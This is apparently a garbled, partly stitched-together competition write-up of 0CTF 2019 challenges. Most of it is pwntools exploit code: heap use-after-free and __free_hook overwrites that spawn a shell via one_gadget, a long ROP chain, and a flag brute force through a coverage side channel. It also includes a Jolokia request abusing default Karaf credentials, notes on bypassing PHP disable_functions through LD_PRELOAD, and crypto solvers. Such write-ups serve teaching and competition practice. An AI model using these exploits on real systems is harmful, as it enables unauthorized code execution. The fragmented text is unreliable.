return sol
sys.exit(0)
context.log_level = 'DEBUG'
p = remote('111.186.63.13',10001)
p.recvuntil('XXXX+')
chal = p.recvuntil(")")[:-1]
print repr(chal)
p.recvuntil("== ")
ss = p.recvuntil('G')[:-1].strip()
print repr(ss)
so = get_solution(chal, ss)
p.sendlineafter('XXXX:',str(so))
p.sendlineafter('OK',str(len(eee)))
print 'executing cmd',cmd[::-1]
time.sleep(1)
p.send(eee)
00000000 crypt_obj struc ; (sizeof=0x70, mappedto_6)
00000000 data_ptr dq ?
00000008 data_size dq ?
00000010 operate_type dd ?
00000014 key db 32 dup(?) ; string(C)
00000034 IV db 16 dup(?) ; string(C)
00000044 field_44 dq ?
0000004C field_4C dq ?
00000054 field_54 dd ?
00000058 EVP_CIPHER_CTX dq ?
00000060 task_id dd ?
00000064 field_64 dd ?
00000068 next dq ?
00000070 crypt_obj ends
openssl,EVP_EncryptUpdateuafctx
one_gadgetleak
from pwn import *
from Crypto.Cipher import AES
# p = process('./task1',env={'LD_PRELOAD':'./libcrypto.so.1.0.0'})
p = remote('111.186.63.201', 10001)
context.log_level = 'debug'
def launch_gdb():
context.terminal = ['xfce4-terminal', '-x', 'sh', '-c']
gdb.attach(proc.pidof(p)[0])
def add(task_id,en,num,data,key = 'a'*32,iv = 'a'*16):
p.recvuntil('Choice')
p.sendline('1')
p.recvuntil('id')
p.sendline(str(task_id))
p.recvuntil('(2)')
p.sendline(str(en))
p.recvuntil('Key')
p.send(key)
p.recvuntil('IV')
p.send(iv)
p.recvuntil('Size')
p.sendline(str(num))
p.recvuntil('Data')
p.send(data)
def delete(task_id):
p.recvuntil('Choice')
p.sendline('2')
p.recvuntil('id')
p.sendline(str(task_id))
def go(task_id):
p.recvuntil('Choice')
p.sendline('3')
p.recvuntil('id')
p.sendline(str(task_id))
def get_plain(key = 'a'*32,iv='a'*16):
p.recvuntil('Ciphertext: \n')
a = AES.new(key,AES.MODE_CBC,iv)
sleep(2)
data = p.recv(4096,timeout=5).replace(' ','').replace('\n','')
data = data.decode('hex')
l = len(data)
plang
real_len = (l/16) * 16
return a.decrypt(data[:real_len])
add(1,1,0x800,'a'*0x800)
# go(1) ctx 0xb1
# print get_plain()
go(1)
delete(1)
add(1,1,0x400,'')
# launch_gdb()
leak = get_plain()
leak_libc = u64(leak[:8])
log.info('leak libc : ' + hex(leak_libc))
libc_base = leak_libc - 4112784
leak_heap = u64(leak[16:24])
log.info('leak heap : ' + hex(leak_heap))
heap_base = leak_heap - 5296
log.success('heap base ' + hex(heap_base))
log.success('libc base ' + hex(libc_base))
p.send('c'*0x400)
add(2,1,0x300,'a'*0x300)
go(1)
go(2)
delete(1)
delete(2)
chunk_addr = heap_base + 4864
add(3,1,0xa0,p64(chunk_addr) + p8(0x10)*24 + p64(libc_base + 0x10a38c) )
'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
p.interactive()
nc 111.186.63.210 6666 http://111.186.63.17/plang.zip
pocsigned int
doule
tcache entrychunk
fdfree_hook
from pwn import *
LOCAL = 0
context.log_level = 'debug'
if LOCAL:
p = process('./plang')
else:
p = remote('111.186.63.210',6666)
payload1 = '''
var i = 1
class ss{ var str new(s){ str = s } toString{ return str }}
var m = ss.new("BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB")
var change = [1,2,3]
for i (0..10) ss.new("A")
for i (0..10)
ss.new("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")
for i (0..10)
ss.new("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")
System.gc()
change[-0x42] = 0x3ffdb07d2cb813c5
'''
p.recvrepeat(0.1)
p.sendline(payload1)
p.recvrepeat(0.1)
payload2 = '''System.print(m.toString.byteAt_(0x8c0))
System.print(m.toString.byteAt_(0x8c1))
System.print(m.toString.byteAt_(0x8c2))
System.print(m.toString.byteAt_(0x8c3))
System.print(m.toString.byteAt_(0x8c4))
System.print(m.toString.byteAt_(0x8c5))
System.print(m.toString.byteAt_(0x8c6))
System.print(m.toString.byteAt_(0x8c7))'''.split('\n')
libc = ''
for i in payload2:
p.sendline(i.strip())
libc =
hex(int(p.recvrepeat(0.2).replace('>','').replace('\n','').strip()))[2:] +
libc
# print hex(int())
libc = int('0x'+libc,16)
libc = libc - 4111536
print 'libc,',hex(libc)
payload3 = '''System.print(m.toString.byteAt_(0x40))
System.print(m.toString.byteAt_(0x41))
System.print(m.toString.byteAt_(0x42))
System.print(m.toString.byteAt_(0x43))
System.print(m.toString.byteAt_(0x44))
System.print(m.toString.byteAt_(0x45))
System.print(m.toString.byteAt_(0x46))
System.print(m.toString.byteAt_(0x47))'''.split('\n')
heap = ''
for i in payload3:
p.sendline(i.strip())
heap =
hex(int(p.recvrepeat(0.2).replace('>','').replace('\n','').strip()))[2:] +
heap
heap = int('0x'+heap,16)
print hex(heap)
heap = heap - 94850
print 'heap,',hex(heap)
# raw_input()
payload4 = '''
var cc = ss.new("AAAAAAAAAAAAAAA")
var dd = ss.new("AAAAAAAAAAAAAAA")
var ee = ss.new("AAAAAAAAAAAAAAA")
var ff = ss.new("AAAAAAAAAAAAAAA")
var gg = ss.new("AAAAAAAAAAAAAAA")
var hh = ss.new("AAAAAAAAAAAAAAA")
change[-0x16d4] = "AAAAAAAAAAAAAAAA"
'''
p.sendline(payload4)
p.recvrepeat(0.1)
# p.interactive()
__free_hook = libc + 4118760
Reverse
Elements
1. 256 b input
2. tolower()
3. strlen() < 0x2C, beginwith('flag{'), input[43] = '{'
4. input[5:].split('-') -> 12b
5. trans 5.1.decode hex 5.2.ret391BC2164F0A 5.3.ret
xmmword_400BD0xmmword_400BE0 5.4.shuffle(, 01001110b) +
SRC X3 X2 X1 X0 DEST X1 X0 X3 X2
6. trans[1] > trans[0] & trans[2] > trans[1] & trans[0] + trans[1] > trans[2] --> trans[2] > trans[1]
> trans[0] trans[0] + trans[1] > trans[2] 2 * trans[1] > trans[2] > trans[1] trans[0] > 0
7. S =
8. i. 2S / (a+b+c) = t1 ii. abc / 4S = t2 iii. S = 1/2bcsinA ii * 4 * iii. --> sinA / a = 1/(2t2) sinA, a, t1, t2
a^2 = b^2 + c^2 - 2bccosA bcsinA / (a+b+c) = t1
9. a = struct.unpack('!d', '42CC8DE10B278500'.decode('hex'))[0] t1 = -struct.unpack('!d',
'C2B1A4FF41C1018B'.decode('hex'))[0] t2 = -struct.unpack('!d',
'C2C5B939050828F4'.decode('hex'))[0]
10. sinA = a/(2t2) = 0.6572186933851744 cosA = sqrt(1 - sinA * sinA) = 0.7536999330403873 b(c)
= 70802074077032.94 -- 4064e4798768 c(b) = 95523798483318.1 -- 56e0de138176
payload5 = ''
payload5 = "X"*0x20 + p64(__free_hook-0x98)[:6]
# payload5 = payload5.ljust(0xe0,"X")
payload5 = 'ss.new("%s")'%(payload5)
p.sendline(payload5)
p.recvrepeat(0.1)
# raw_input()
payload6 = 'var nn = "%s"'%('Q'*0x80)
p.sendline(payload6)
print 'magic,',hex(libc+0x4f313)
raw_input()
# 0x4f2c5
payload7 = 'var ll = "%s"'%('A'*0x78+p64(libc+0x4f313)[:6])
p.sendline(payload7)
p.interactive()
Fixed Point
http://111.186.63.17/fixed_point
38 flag{}
hex sscanf 0x555555554000 4096Init_array
crc = (crc >> 8) ^ k[crc & 0xff ^ flag[i]]
16bit ↑ tmcrc128
https://github.com/glua-team-ctf/googlectf-quals-2017/blob/master/crypto/introspective-crc/REA
DME.md
crcdiff/
unsigned long long a = 0xFFFFFFFFFFFFFFFFuLL;
unsigned long long b = 0xFFFFFFFFFFFFFFFFuLL;
int i = 0;
do {
char f = flag[i++];
unsigned long long * p = (arr + 16 * (unsigned char)(a ^ f));
unsigned long long x = (a >> 8) ^ *p;
a = x;
unsigned long long y = (b >> 8) ^ *(p+1);
b = y;
} while (i != 22)
data = [0]*0x100
v = 1
v1 = 128
for v0 in range(8,0,-1):
v4 = v & 1
v >>= 1
if v4:
v ^= 0xB595CF9C8D708E2166D545CF7CFDD4F9
for i in range(0,256,2*v1):
data[i+v1] = data[i] ^ v
v1 >>= 1
import z3
import numpy as np
crctable = [0]*0x100
def genCrc128Table():
v = 1
v1 = 128
for v0 in range(8,0,-1):
v4 = v & 1
v >>= 1
if v4:
v ^= 0xB595CF9C8D708E2166D545CF7CFDD4F9
for i in range(0,256,2*v1):
crctable[i+v1] = crctable[i] ^ v
v1 >>= 1
def doCrc128(s):
crc = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
for c in s:
crc = ((crc >> 8) ^ crctable[(crc ^ c) & 0xff]) &
0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
return crc
def padleft(x):
return "0" * (128 - len(x)) + x
def main():
# x = crc128('flag{' + x)
flag_template = [ord(c) for c in "flag{" + '\x00' * 16 + '}']
k = doCrc128(flag_template)
def crcdiff(x):
return (doCrc128(x) ^ k)
D = [0] * 128
for j,i in enumerate(range(127, -1, -1)): # msb
_cur_template = list(flag_template)
_cur_template[5 + i // 8] |= 1 << (i % 8)
#print "encoding:" + str(_cur_template)
D[j] = crcdiff(_cur_template)
D_ = "[" + ','.join(['['+ ','.join(list(padleft(bin(c)[2:]))) + ']' for c
in D]) + ']' # msb
print D_
print "[" + ','.join(list(padleft(bin(k)[2:]))) + ']' # msb
'''
D_ = np.array([[int(i) for i in list(padleft(bin(c)[2:]))] for c in D])
D_.transpose()
A_ = D_
for i in range(128):
A_[i][i] = (A_[i][i] + 1) % 1
k_ = [int(i) for i in list(padleft(bin(k)[2:]))]
s = z3.Solver()
x = [z3.BitVec('x'+str(i), 1) for i in range(128)]
for i,row in enumerate(A_):
ret = None
for j,c in enumerate(row):
if ret is None:
ret = z3.BitVecVal(c, 1) * x[j]
else:
ret += z3.BitVecVal(c, 1) * x[j]
s.add(ret == k_[i])
print s.check(), s.unsat_core()
print s.model()
'''
def check(s):
flag_template = [ord(c) for c in "flag{" + '\x00' * 16 + '}']
_k = doCrc128(flag_template)
out = [0] * 16
k = _k
j = 0
for i in range(127, -1, -1):
_cur_template = list(flag_template)
_cur_template[5 + i // 8] |= 1 << (i % 8)
if s[j] == 1:
out[i // 8] |= 0x80 >> (i % 8)
k ^= (doCrc128(_cur_template) ^ _k)
j += 1
return k == doCrc128([ord(c) for c in "flag{"] + out + [ord('}')])
def crc(s):
return doCrc128([ord(c) for c in s])
def check_flag(s): # lsb first
return crc("flag{" + s + '}') == int(s.decode('hex')[::-1].encode('hex'),
16)
if __name__ == '__main__':
genCrc128Table()
#print check((1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1,
0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0,
1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, 1, 1, 1, 1, 0, 1, 0,
1, 0, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0,
1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1,
0, 0, 0, 1))
#print check_flag("3cb2b8ad126784aeb76bffad5eda4dbf")
#print crc("flag{" + '\x00' * 15 + '\x01' + '}') == crc("flag{" + '\x00' *
16 + '}') ^ (crc("flag{" + '\x00' * 15 + '\x01' + '}') ^ crc("flag{" + '\x00'
* 16 + '}'))
main()
Dk sage
LSB
sanitize
Help me to find lost flag.
http://111.186.63.17/sanitize.tar.gz
nc 111.186.63.16 20193 __sancov_guards
addOne+1
flag
https://clang.llvm.org/docs/SanitizerCoverage.html
Flag Flag
Flag Flag ↑49
F = GF(2)
D = Matrix(F, {D})
A = D + identity_matrix(F, 128)
b = vector(F, {k})
A.transpose().solve_right(b)
def set2hex(s):
binstr = ''.join([str(c) for c in s])
return ''.join([chr(int(''.join(c),2)) for c in grouper(binstr,
8)]).encode('hex')
set2hex() # MSB
set2hex().decode('hex')[::-1].encode('hex') # LSB
char c;
int depth;
node * miaomiaomiao;
node * left;
node * right;
ABCEDFGH
flag
0ctftrace
17{ } 14
<A(32), 5>
/
<a(0), 4>
/ \
<i(8), 3> <q(16), 3>
/ \ / \
<m(12), 2> <e(4), 2> <u(20), 2> <C(34), 2>
/ \ / \ / \
<o(14), 1> <k(10), 1> 6 2 22 18
/ \ / \ / \ / \
15 13 11 9 7 5 3 1
0
/
4 8
/ \ / \
6 2 10 (0) 12
/ \ / \ / \ / \
7 5 3 1 11 9 13 (8)
char c;
int height;
node * higher_level;
node * lower_level;
node * brother;
from pwn import *
#p = process('./sanitize')
Web
Ghost Pepper
Ghost Pepper Do you know ghost pepper? Let's eat. http://111.186.63.207:31337
/karaf/karaf 404 jetty
http://111.186.63.207:31337/jolokia
http://111.186.63.207:31337/jolokia/list
#flag = 'flag{fr0M_C0vEr4ge_To_Fl4G_And_Enj0Y_0cTF_2Ol9}'
flag = 'flag{'
for ll in xrange(len(flag), 49):
r = 0
for c in xrange(32, 128):
p = remote('111.186.63.16', 20193)
ff = chr(c) * 14
p.sendline(ff)
p.sendline('3')
#for i in xrange(3):
# p.sendline(str(i))
p.sendline(str(ll))
p.sendline('4')
p.sendline('48')
data = p.recvline()
d = []
for i in xrange(82):
d.append(u32(data[i*8:i*8+8].decode('hex')))
#print i, hex(d[i])
print chr(c), d[38], d[39]
if (r == 0):
r = d[38]
if (r != d[38]):
flag += chr(c)
print flag
break
c+=1
p.close()
karaf, jolokia installFeature, webconsole
WebConsoleflag
POST http://111.186.63.207:31337/jolokia/exec HTTP/1.1
Authorization: Basic a2FyYWY6a2FyYWY=
content-type: application/json
{
"type": "EXEC",
"mbean": "org.apache.karaf:name=root,type=feature",
"operation": "installFeature(java.lang.String)",
"arguments": ["webconsole"]
}
HTTP/1.1 200 OK
Date: Mon, 25 Mar 2019 09:34:51 GMT
Content-Type: text/plain;charset=utf-8
Cache-Control: no-cache
Pragma: no-cache
Expires: Mon, 25 Mar 2019 08:34:51 GMT
Connection: close
Server: Jetty(9.3.24.v20180605)
{
"request": {
"mbean": "org.apache.karaf:name=root,type=feature",
"arguments": [
"webconsole"
],
"type": "exec",
"operation": "installFeature(java.lang.String)"
},
"value": null,
"timestamp": 1553506491,
"status": 200
}
Wallbreaker Easy
http://111.186.63.208:31340 dis_fun:
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopp
ed,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl
_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_ge
t_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimed
wait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system
,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mai
l
PHP bypass disable_function
imagick
imagick module enabled
imagick module version 3.4.3RC2
imagick classes Imagick, ImagickDraw, ImagickPixel, ImagickPixelIterator,
ImagickKernel
Imagick compiled with ImageMagick version ImageMagick 6.9.7-4 Q16 x86_64
20170114 http://www.imagemagick.org
Imagick using ImageMagick library version ImageMagick 6.9.7-4 Q16 x86_64
20170114 http://www.imagemagick.org
ImageMagick copyright © 1999-2017 ImageMagick Studio LLC
ImageMagick release date 20170114
ImageMagick number of supported formats: 220
ImageMagick supported formats 3FR, AAI, AI, ART, ARW, AVI, AVS, BGR, BGRA,
BGRO, BIE, BMP, BMP2, BMP3, BRF, CAL, CALS, CANVAS, CAPTION, CIN, CIP, CLIP,
CMYK, CMYKA, CR2, CRW, CUR, CUT, DATA, DCM, DCR, DCX, DDS, DFONT, DNG, DPX,
DXT1, DXT5, EPDF, EPI, EPS, EPS2, EPS3, EPSF, EPSI, EPT, EPT2, EPT3, ERF, FAX,
FILE, FITS, FRACTAL, FTP, FTS, G3, G4, GIF, GIF87, GRADIENT, GRAY, GROUP4, H,
HALD, HDR, HISTOGRAM, HRZ, HTM, HTML, HTTP, HTTPS, ICB, ICO, ICON, IIQ, INFO,
INLINE, IPL, ISOBRL, ISOBRL6, JBG, JBIG, JNG, JNX, JPE, JPEG, JPG, JPS, JSON,
K25, KDC, LABEL, M2V, M4V, MAC, MAGICK, MAP, MASK, MAT, MATTE, MEF, MIFF, MKV,
MNG, MONO, MOV, MP4, MPC, MPEG, MPG, MRW, MSL, MTV, MVG, NEF, NRW, NULL, ORF,
OTB, OTF, PAL, PALM, PAM, PATTERN, PBM, PCD, PCDS, PCL, PCT, PCX, PDB, PDF,
PDFA, PEF, PES, PFA, PFB, PFM, PGM, PICON, PICT, PIX, PJPEG, PLASMA, PNG,
PNG00, PNG24, PNG32, PNG48, PNG64, PNG8, PNM, PPM, PREVIEW, PS, PS2, PS3, PSB,
PSD, PTIF, PWP, RADIAL-GRADIENT, RAF, RAS, RAW, RGB, RGBA, RGBO, RGF, RLA,
RLE, RMF, RW2, SCR, SCT, SFW, SGI, SHTML, SIX, SIXEL, SPARSE-COLOR, SR2, SRF,
STEGANO, SUN, TEXT, TGA, THUMBNAIL, TIFF, TIFF64, TILE, TIM, TTC, TTF, TXT,
UBRL, UBRL6, UIL, UYVY, VDA, VICAR, VID, VIFF, VIPS, VST, WBMP, WMV, WPG, X,
X3F, XBM, XC, XCF, XPM, XPS, XV, XWD, YCbCr, YCbCrA, YUV
imagickdisable_function
ghostscript1dayimagick0day
putenv()Linux
bypass_disablefunc_via_LD_PRELOAD
mail()imagick
scanfUBUNTU1604
<?php
$im = new imagick('test.pdf[0]' );
$im->setImageColorspace(255);
$im->setCompression(Imagick::COMPRESSION_JPEG);
$im->setCompressionQuality(100);
$im->setImageFormat('pdf');
$im->writeImage('thumb.jpg');
?>
(path)
UBUNTU1804()
UBUNTU1804IM /etc/ImageMagick-
6/policy.xml
PSEPIPDFXPSgs
delegates
https://github.com/ImageMagick/ImageMagick/blob/06e45a6745f6bed140e46d0dadedf796e5dcd
9e6/www/source/delegates.xml
delegatescommand
Imagick
so LD_PRELOAD flag
Crypto
babyrsa
Polynomial based RSA. n
R.<a> = GF(2^2049)
P=PolynomialRing(GF(2),'x')
n = P('xxx')
MISC
flropyd
ROPseccompexitROP
.jpg
update1: you can download libc here update2: md5(libc.so.6) ==
50390b2ae8aaa73c47745040f54e602f
p, q = factor(n)
p, q = p[0], q[0]
phi_n = (2^p.degree() - 1)*(2^q.degree()-1)
d = inverse_mod(e, phi_n)
e = 31337
m = "aaaaaaaaaaaaaaaa"
m_int = Integer(m.encode('hex'), 16)
m_poly = R.fetch_int(m_int)
m_poly = P(m_poly)
c_poly = pow(m_poly, e, n)
mmm = pow(c_poly, d, n)
print format(R(mmm).integer_representation(), '0256x')
c_int = R(c_poly).integer_representation()
c = format(c_int, '0256x')
from pwn import *
#p=process('./flropyd')
p=remote('111.186.63.203', 6666)
p.recvuntil('ress: 0x')
addr = int(p.recvuntil('\n')[:-1],16)
libc_base = addr-(0x7f6bd9720070- 0x7f6bd9689000)
info("libc:0x%x",libc_base)
raw_input()
ret = 0x00000000000008aa +libc_base
pop_rdx = 0x0000000000001b96 +libc_base
lea_rax = 0x0000000000145c98 +libc_base# mov rax, qword ptr [rax] ; ret
pop_rax = 0x00000000000439c8 +libc_base
sete = 0x00000000000306d5 +libc_base
setne = 0x0000000000089378 +libc_base
pop_r12 = 0x0000000000023992 +libc_base
pop_rbx = 0x000000000002cb49 +libc_base
pop_rcx = 0x000000000003eb0b +libc_base
mov_rdi_rsp_call_rdx = 0x000000000015c4ce+libc_base
rax_2 = 0x00000000000d0df7 +libc_base
addraxrcx=0x00000000000ab9f8 +libc_base#: add rax, rcx ; ret
addraxrdi=0x00000000000a8473 +libc_base# : add rax, rdi ; ret
movrspr8= 0x000000000003eca9 +libc_base #: mov rsp, r8 ; mov rbp, r9 ; nop ;
jmp rdx
movr8rax= 0x0000000000106899 +libc_base#: mov r8, rax ; call r12
xorrax = 0x00000000000b17c5 +libc_base#: xor rax, rax ; ret
#0x00000000000586ed : mov rax, rdi ; ret
#0x00000000001404f5 : sal esi, cl ; ret
leardx = 0x000000000003093c +libc_base# : mov qword ptr [rdx], rax ; ret
pop_rdi = 0x000000000002155f +libc_base#: pop rdi ; ret
salbl = 0x00000000000d0bdf +libc_base#: sal bl, 1 ; ret
salsi = 0x00000000001404f5 +libc_base#: sal esi, cl ; ret
movaxbx =0x0000000000043ce7 +libc_base#: mov rax, rbx ; pop rbx ; ret
movbxax = 0x0000000000133226 +libc_base# : mov rbx, rax ; mov rax, rbx ; pop
rbx ; pop rbp ; ret
subaxcx = 0x00000000000a9e4c +libc_base#: sub eax, ecx ; ret
leardi = 0x00000000001011aa +libc_base#: mov qword ptr [rdx], rdi ; ret
cmpaxbx = 0x000000000010ea12 +libc_base#: cmp rax, rbx ; seta al ; pop rbx ;
ret
pop_r15 = 0x000000000002155e +libc_base#: pop r15 ; ret
pop_rsi = 0x0000000000023e6a +libc_base#: pop rsi; ret;
pop_r14 = 0x0000000000023e69+libc_base
movsibx = 0x000000000011df81+libc_base# : mov esi, ebx ; mov rdi, r13 ; call
r14
addaxsi = 0x00000000000ac21c+libc_base# : add rax, rsi ; ret
salsi = 0x00000000001404f5 +libc_base#: sal esi, cl ; ret
salbx = 0x00000000001180fe +libc_base#: sal ebx, 1; ret;
addaxbx = 0x0000000000131be6+libc_base#: add rax, rbx; pop rbx; pop rbp; pop
r12; pop r13; ret;
leaaxdi = 0x0000000000097055+libc_base#: mov qword ptr [rax], rdi; ret;
movbxdx = 0x000000000005d3b8+libc_base#: mov ebx, edx; jmp rax;
movdxax = 0x00000000001415dd+libc_base#: mov rdx, rax; ret;
rop = 'a'*0x18
rop+= p64(pop_rax)
rop+= p64(0x602060)#k
rop+= p64(lea_rax)#N
rop+= p64(pop_rdx)
rop+= p64(0x61afc0)#j
rop+= p64(leardx)
rop+= p64(pop_rdx)
rop+= p64(0x61afc8)#i
rop+= p64(leardx)
rop+= p64(leardx)
rop+= p64(pop_rdx)
rop+= p64(0x61afe0)#backup
rop+= p64(leardx)
###start
rop+= p64(pop_rdx)
rop+= p64(pop_rdx)
rop+= p64(mov_rdi_rsp_call_rdx)# <-rsp
rop+= p64(pop_rdx)
rop+= p64(0x61af70)#sp
rop+= p64(leardi)
#loop1
#0x0000000000023e69 : pop r14 ; ret
rop+= p64(pop_rax)#<-+24
tmp1 = rop
rop+= p64(0x61af70)
rop+= p64(lea_rax)
rop+= p64(pop_rcx)
rop+= p64(2416)
rop+= p64(addraxrcx)
rop+= p64(pop_rdi)
rop+= p64(movr8rax)
rop+= p64(leaaxdi)
rop+= p64(pop_rax)
rop+= p64(0x61af70)
rop+= p64(lea_rax)
rop+= p64(pop_rcx)
rop+= p64(3072)
rop+= p64(addraxrcx)
rop+= p64(pop_rdi)
rop+= p64(movr8rax)
rop+= p64(leaaxdi)
rop+= p64(pop_rax)
rop+= p64(0x61af70)
rop+= p64(lea_rax)
rop+= p64(pop_rcx)
rop+= p64(3728)
rop+= p64(addraxrcx)
rop+= p64(pop_rdi)
rop+= p64(movr8rax)
rop+= p64(leaaxdi)
rop+= p64(pop_rax)
rop+= p64(0x61afc0)#j
rop+= p64(lea_rax)#N
rop+= p64(pop_rcx)
rop+= p64(1)
rop+= p64(subaxcx)
rop+= p64(movdxax)
rop+= p64(pop_rax)
rop+= p64(ret)
rop+= p64(movbxdx)
rop+= p64(pop_r14)
rop+= p64(pop_r15)
rop+= p64(movsibx)#336
tmp2 = rop
print "tmp2:"
print len(tmp2)-len(tmp1)+24
rop+= p64(pop_rax)
rop+= p64(0x61af70)
rop+= p64(lea_rax)
rop+= p64(pop_rcx)
rop+= p64(336)
rop+= p64(addraxrcx)
rop+= p64(pop_rdi)
rop+= p64(movsibx)
rop+= p64(leaaxdi)
rop+= p64(pop_rcx)
rop+= p64(6)
rop+= p64(salsi)
rop+= p64(pop_rax)
rop+= p64(0x602060)#k
rop+= p64(lea_rax)#N
rop+= p64(pop_rcx)
rop+= p64(1)
rop+= p64(subaxcx)
rop+= p64(addaxsi)
rop+= p64(movdxax)
rop+= p64(pop_rax)
rop+= p64(ret)
rop+= p64(movbxdx)
rop+= p64(salbx)
rop+= p64(salbx)
rop+= p64(salbx)
rop+= p64(pop_rax)
rop+= p64(0x602068)#W
rop+= p64(addaxbx)
rop+= p64(0)
rop+= p64(0)
rop+= p64(0)
rop+= p64(0)
rop+= p64(pop_rdx)
rop+= p64(0x61af00)#W[(j << 6) + k]
rop+= p64(leardx)
rop+= p64(pop_rax)
rop+= p64(0x61afc8)#i
rop+= p64(lea_rax)#N
rop+= p64(pop_rcx)
rop+= p64(1)
rop+= p64(subaxcx)
rop+= p64(addaxsi)
rop+= p64(movdxax)
rop+= p64(pop_rax)
rop+= p64(ret)
rop+= p64(movbxdx)
rop+= p64(salbx)
rop+= p64(salbx)
rop+= p64(salbx)
rop+= p64(pop_rax)
rop+= p64(0x602068)#W
rop+= p64(addaxbx)
rop+= p64(0)
rop+= p64(0)
rop+= p64(0)
rop+= p64(0)
rop+= p64(pop_rdx)
rop+= p64(0x61af08)##W[(j << 6) + i]
rop+= p64(leardx)
rop+= p64(pop_rax)
rop+= p64(0x61afc8)#i
rop+= p64(lea_rax)#N
rop+= p64(pop_rcx)
rop+= p64(1)
rop+= p64(subaxcx)
rop+= p64(movdxax)
rop+= p64(pop_rax)
rop+= p64(ret)
rop+= p64(movbxdx)
rop+= p64(pop_r14)
rop+= p64(pop_r15)
rop+= p64(movsibx)
tmp3 = rop
print "tmp3"
print len(tmp3)-len(tmp1)+24
rop+= p64(pop_rax)
rop+= p64(0x61af70)
rop+= p64(lea_rax)
rop+= p64(pop_rcx)
rop+= p64(920)
rop+= p64(addraxrcx)
rop+= p64(pop_rdi)
rop+= p64(movsibx)
rop+= p64(leaaxdi)
#-------------------------------------------------------
rop+= p64(pop_rcx)
rop+= p64(6)
rop+= p64(salsi)
rop+= p64(pop_rax)
rop+= p64(0x602060)#k
rop+= p64(lea_rax)#N
rop+= p64(pop_rcx)
rop+= p64(1)
rop+= p64(subaxcx)
rop+= p64(addaxsi)
rop+= p64(movdxax)
rop+= p64(pop_rax)
rop+= p64(ret)
rop+= p64(movbxdx)
rop+= p64(salbx)
rop+= p64(salbx)
rop+= p64(salbx)
rop+= p64(pop_rax)
rop+= p64(0x602068)#W
rop+= p64(addaxbx)
rop+= p64(0)
rop+= p64(0)
rop+= p64(0)
rop+= p64(0)
rop+= p64(pop_rdx)
rop+= p64(0x61af10)#W[(i << 6) + k]
rop+= p64(leardx)
rop+= p64(pop_rax)
rop+= p64(0x61af08)#W[(j << 6) + i]
rop+= p64(lea_rax)
rop+= p64(lea_rax)#W[(j << 6) + i]
rop+= p64(movdxax)
rop+= p64(pop_rax)
rop+= p64(ret)
rop+= p64(movbxdx)
rop+= p64(pop_rax)
rop+= p64(0x61af10)#W[(i << 6) + k]
rop+= p64(lea_rax)
rop+= p64(lea_rax)#W[(i << 6) + k]
rop+= p64(addaxbx)
rop+= p64(0)
rop+= p64(0)
rop+= p64(0)
rop+= p64(0)# W[(i << 6) + k]+W[(j << 6) + i]
#leardx = 0x000000000003093c +libc_base# : mov qword ptr [rdx], rax ; ret
rop+= p64(pop_rdx)
rop+= p64(0x61af20)
rop+= p64(leardx)
rop+= p64(movdxax)
rop+= p64(pop_rax)
rop+= p64(ret)
rop+= p64(movbxdx)
rop+= p64(pop_rax)
rop+= p64(0x61af00)#W[(j << 6) + k]
rop+= p64(lea_rax)
rop+= p64(lea_rax)#W[(j << 6) + k]
#if W[(j << 6) + k] > W[(j << 6) + i] + W[(i << 6) + k]
setbe =0x0000000000125180+libc_base#: setbe al; ret;
rop+= p64(cmpaxbx)
rop+= p64(0)
rop+= p64(pop_rax)
rop+= p64(0)
rop+= p64(setbe)
rop+= p64(movdxax)
rop+= p64(pop_rax)
rop+= p64(ret)
rop+= p64(movbxdx)
rop+= p64(salbl)
rop+= p64(salbl)
rop+= p64(salbl)
rop+= p64(salbl)
rop+= p64(salbl)
rop+= p64(salbl)
rop+= p64(movaxbx)
rop+= p64(0)
rop+= p64(pop_rdx)
rop+= p64(pop_r15)
rop+= p64(pop_r12)
rop+= p64(pop_r15)
rop+= p64(mov_rdi_rsp_call_rdx)#1520->1584->1608
tmp4 = rop
print "tmp4"
print len(tmp4)-len(tmp1)+24
#------------------------------------------
rop+= p64(pop_rcx)# <-rsp
rop+= p64(8*8)
rop+= p64(addraxrcx)
rop+= p64(addraxrdi)
rop+= p64(movr8rax)#1560->1624->1648
tmp5 = rop
print "tmp5"
print len(tmp5)-len(tmp1)+24
rop+= p64(pop_rdx)
rop+= p64(ret)
rop+= p64(movrspr8)
#W[k + (j << 6)] = W[(i << 6) + k] + W[(j << 6) + i];
leasi = 0x0000000000052419+libc_base#: mov rsi, qword ptr [rsi + 0x70]; xor
eax, eax; ret;
leasiax = 0x000000000008995a+libc_base#: mov qword ptr [rsi], rax; xor eax,
eax; ret;
